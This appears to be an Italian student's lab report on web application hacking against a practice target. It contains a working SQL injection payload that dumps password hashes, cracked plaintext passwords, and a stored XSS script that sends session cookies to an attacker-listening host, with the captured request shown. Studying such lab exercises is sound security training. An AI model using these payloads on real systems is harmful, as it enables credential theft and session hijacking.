Alaimo Alessandro
02/12/2022

Report Web application hacking

Per ottenere le password in hash nella sezione SQL Injection (Blind) usiamo il seguente comando per stamparle a schermo “%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users # ”:

```
ID: %' and 1=0 union select null, concat(first_name,0x0
First name:
Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: %' and 1=0 union select null, concat(first_name,0x0
First name:
Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

ID: %' and 1=0 union select null, concat(first_name,0x0
First name:
Surname: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: %' and 1=0 union select null, concat(first_name,0x0
First name:
Surname: Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7

ID: %' and 1=0 union select null, concat(first_name,0x0
First name:
Surname: Bob
Smith
smithy
5f4dcc3b5aa765d61d8327deb882cf99
```

Ed andiamo a recuperare le password andando a creare un file in cui inseriamo lo user e l’hash seperati da un “:” nel seguente modo:

```
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo john --show --format=Raw-MD5 /home/kali/Desktop/file
admin:password
gordonb:abc123
1337:charley
pablo:letmein
smithy:password

5 password hashes cracked, 0 left
```

Ora passiamo alla schermata “XSS Stored” per andare a salvare uno script in modo tale da eseguire un fingerprint del server stando in ascolto nella porta, ma prima di tutto dobbiamo aumentare la lunghezza dei caratteri, vediamo come fare:

```
<td width="100">Name *</td>
<td>
  <input name="txtName" type="text" size="30"
  maxlength="20">
```

```
<td width="100">Message *</td>
<td>
  <textarea name="mtxMessage" cols="50" rows="3"
  maxlength="200"></textarea>
```

Vulnerability: Stored Cross Site Scripting (XSS)

Name * Alessandro

Message * <script>new Image().src='http://192.168.50.100:4444/?cookie=' + encodeURI(document.cookie);</script>

Sign Guestbook

Name: test
Message: This is a test comment.

Name: *Alessandro*
Message:

```
┌──(kali㉿kali)-[~]
└─$ nc -l -p 1234
GET /?cookie=security=low;%20PHPSESSID=762cd54c263d0d7a0f0d70d77256fa4d HTTP/1.1
Host: 192.168.50.100:1234
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: image/avif,image/webp,*/*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive
Referer: http://192.168.50.101/
```

In caso di aggiornamento della pagina ed in caso il nostro Kali sarà sempre in ascolto nella porta 1234, lo script rimarrà salvato e rimanderà le informazioni del server